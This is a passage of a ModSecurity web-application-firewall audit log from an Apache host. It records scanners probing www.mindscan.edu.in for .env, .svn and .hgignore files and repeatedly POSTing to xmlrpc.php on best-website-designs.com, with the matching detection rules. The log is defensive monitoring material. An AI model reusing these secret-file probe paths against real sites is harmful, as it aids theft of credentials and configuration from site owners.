"CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/rest/.env"] [unique_id "aE9SRsalTF-TysO2fMOCVAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028870265464 685314 (- - -) Stopwatch2: 1750028870265464 685314; combined=2529, p1=510, p2=1921, p3=0, p4=0, p5=98, sr=142, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2cd2f721-Z-- --9f452579-A-- [16/Jun/2025:04:37:59.298814 +0530] aE9STuxC6fQU5wYvxvlzRAAAAAk 185.177.72.210 42422 127.0.0.1 7081 --9f452579-B-- GET /dev/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9f452579-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0ab574079841bd7473077ec6c45733ec1750028879; expires=Mon, 16 Jun 2025 00:07:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9f452579-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/dev/.env"] [unique_id "aE9STuxC6fQU5wYvxvlzRAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028878640317 658561 (- - -) Stopwatch2: 1750028878640317 658561; combined=1646, p1=377, p2=1142, p3=0, p4=0, p5=126, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9f452579-Z-- --5e00455a-A-- [16/Jun/2025:04:38:07.442139 +0530] aE9SVrV9qKUox3X8g1YnCAAAAAg 128.199.112.101 33242 127.0.0.1 7081 --5e00455a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5e00455a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5e00455a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9SVrV9qKUox3X8g1YnCAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028886493507 948725 (- - -) Stopwatch2: 1750028886493507 948725; combined=2455, p1=393, p2=1619, p3=44, p4=55, p5=209, sr=95, sw=135, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5e00455a-Z-- --877a3744-A-- [16/Jun/2025:04:38:22.831505 +0530] aE9SZkoyC4_VyyL7sS6L1QAAAAI 185.177.72.210 58452 127.0.0.1 7081 --877a3744-B-- GET /.env.save.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --877a3744-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=218b1379edd8d47e0e927f982b5495641750028902; expires=Mon, 16 Jun 2025 00:08:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --877a3744-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.save.1"] [unique_id "aE9SZkoyC4_VyyL7sS6L1QAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028902142733 688856 (- - -) Stopwatch2: 1750028902142733 688856; combined=1760, p1=324, p2=1324, p3=0, p4=0, p5=112, sr=78, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --877a3744-Z-- --5a827532-A-- [16/Jun/2025:04:38:26.448460 +0530] aE9SaZbumDYPKpRD2ekqHgAAAAA 185.177.72.210 58632 127.0.0.1 7081 --5a827532-B-- GET /asset_img/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5a827532-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=28cdce6d1f6e74a50c40fef30b9aa08a1750028906; expires=Mon, 16 Jun 2025 00:08:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5a827532-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/asset_img/.env"] [unique_id "aE9SaZbumDYPKpRD2ekqHgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028905782692 665852 (- - -) Stopwatch2: 1750028905782692 665852; combined=1857, p1=363, p2=1387, p3=0, p4=0, p5=107, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5a827532-Z-- --ab58960d-A-- [16/Jun/2025:04:38:33.584699 +0530] aE9ScLV9qKUox3X8g1YnFgAAAAg 185.177.72.210 34782 127.0.0.1 7081 --ab58960d-B-- GET /.hgignore HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ab58960d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ce281441643b2c1c40088364ec9945a41750028913; expires=Mon, 16 Jun 2025 00:08:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ab58960d-H-- Message: Warning. Matched phrase "/.hgignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.hgignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.hgignore"] [unique_id "aE9ScLV9qKUox3X8g1YnFgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028912926637 658124 (- - -) Stopwatch2: 1750028912926637 658124; combined=2099, p1=444, p2=1559, p3=0, p4=0, p5=95, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ab58960d-Z-- --a2f0836a-A-- [16/Jun/2025:04:39:07.732279 +0530] aE9SkpbumDYPKpRD2ekqMAAAAAA 128.199.112.101 42896 127.0.0.1 7081 --a2f0836a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a2f0836a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a2f0836a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9SkpbumDYPKpRD2ekqMAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028946780268 952067 (- - -) Stopwatch2: 1750028946780268 952067; combined=2073, p1=387, p2=1371, p3=32, p4=43, p5=150, sr=95, sw=90, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a2f0836a-Z-- --ddfb334d-A-- [16/Jun/2025:04:40:07.687578 +0530] aE9SzrV9qKUox3X8g1YnPQAAAAg 128.199.112.101 53792 127.0.0.1 7081 --ddfb334d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ddfb334d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ddfb334d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9SzrV9qKUox3X8g1YnPQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029006745690 941967 (- - -) Stopwatch2: 1750029006745690 941967; combined=2703, p1=517, p2=1644, p3=64, p4=88, p5=241, sr=157, sw=149, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ddfb334d-Z-- --3f21632a-A-- [16/Jun/2025:04:41:07.389324 +0530] aE9TCrV9qKUox3X8g1YnUwAAAAg 128.199.112.101 49374 127.0.0.1 7081 --3f21632a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --3f21632a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --3f21632a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9TCrV9qKUox3X8g1YnUwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029066439654 949727 (- - -) Stopwatch2: 1750029066439654 949727; combined=2402, p1=412, p2=1520, p3=72, p4=90, p5=191, sr=110, sw=117, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3f21632a-Z-- --47d4f357-A-- [16/Jun/2025:04:41:30.924577 +0530] aE9TInwHSJGQ1A1pR0qbCQAAAAY 185.177.72.210 45078 127.0.0.1 7081 --47d4f357-B-- GET /.vscode/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --47d4f357-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f1409668f47dd24163153f3f080250af1750029090; expires=Mon, 16 Jun 2025 00:11:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --47d4f357-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.vscode/.env"] [unique_id "aE9TInwHSJGQ1A1pR0qbCQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029090245481 679160 (- - -) Stopwatch2: 1750029090245481 679160; combined=2077, p1=402, p2=1584, p3=0, p4=0, p5=90, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --47d4f357-Z-- --3432f278-A-- [16/Jun/2025:04:41:37.446843 +0530] aE9TKEoyC4_VyyL7sS6MIQAAAAI 185.177.72.210 45296 127.0.0.1 7081 --3432f278-B-- GET /:8181/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3432f278-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4d3a02b7db3ceb3a5ce597ecb69c082b1750029097; expires=Mon, 16 Jun 2025 00:11:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3432f278-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/frontend/.env"] [unique_id "aE9TKEoyC4_VyyL7sS6MIQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029096744666 702258 (- - -) Stopwatch2: 1750029096744666 702258; combined=1968, p1=384, p2=1460, p3=0, p4=0, p5=123, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3432f278-Z-- --7cdc6d6f-A-- [16/Jun/2025:04:41:39.796543 +0530] aE9TK3wHSJGQ1A1pR0qbDQAAAAY 185.177.72.210 45390 127.0.0.1 7081 --7cdc6d6f-B-- GET /:5601/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7cdc6d6f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4ae47fbc3f28350421f996423f10940c1750029099; expires=Mon, 16 Jun 2025 00:11:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7cdc6d6f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.example"] [unique_id "aE9TK3wHSJGQ1A1pR0qbDQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029099030926 765683 (- - -) Stopwatch2: 1750029099030926 765683; combined=2153, p1=456, p2=1590, p3=0, p4=0, p5=106, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7cdc6d6f-Z-- --1b227d5f-A-- [16/Jun/2025:04:41:43.442880 +0530] aE9TLrBfUm2FdhH5voETSQAAAAU 185.177.72.210 54686 127.0.0.1 7081 --1b227d5f-B-- GET /:10000/conf/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1b227d5f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=66c02771eba5ecce66e88a37210a9f741750029103; expires=Mon, 16 Jun 2025 00:11:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1b227d5f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/conf/.env"] [unique_id "aE9TLrBfUm2FdhH5voETSQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029102785529 657432 (- - -) Stopwatch2: 1750029102785529 657432; combined=1712, p1=374, p2=1240, p3=0, p4=0, p5=98, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1b227d5f-Z-- --29fbee73-A-- [16/Jun/2025:04:41:54.222948 +0530] aE9TObV9qKUox3X8g1YnaQAAAAg 185.177.72.210 40742 127.0.0.1 7081 --29fbee73-B-- GET /.svn/text HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --29fbee73-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=edc9b53bbe91a3defb48e3735309af241750029114; expires=Mon, 16 Jun 2025 00:11:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --29fbee73-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.svn/text"] [unique_id "aE9TObV9qKUox3X8g1YnaQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029113566797 656229 (- - -) Stopwatch2: 1750029113566797 656229; combined=1930, p1=387, p2=1437, p3=0, p4=0, p5=106, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --29fbee73-Z-- --22c8644c-A-- [16/Jun/2025:04:42:06.984562 +0530] aE9TRrBfUm2FdhH5voETVAAAAAU 128.199.112.101 48060 127.0.0.1 7081 --22c8644c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 499 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --22c8644c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --22c8644c-H-- Message: Warning. Operator EQ matched 0 at IP. [file 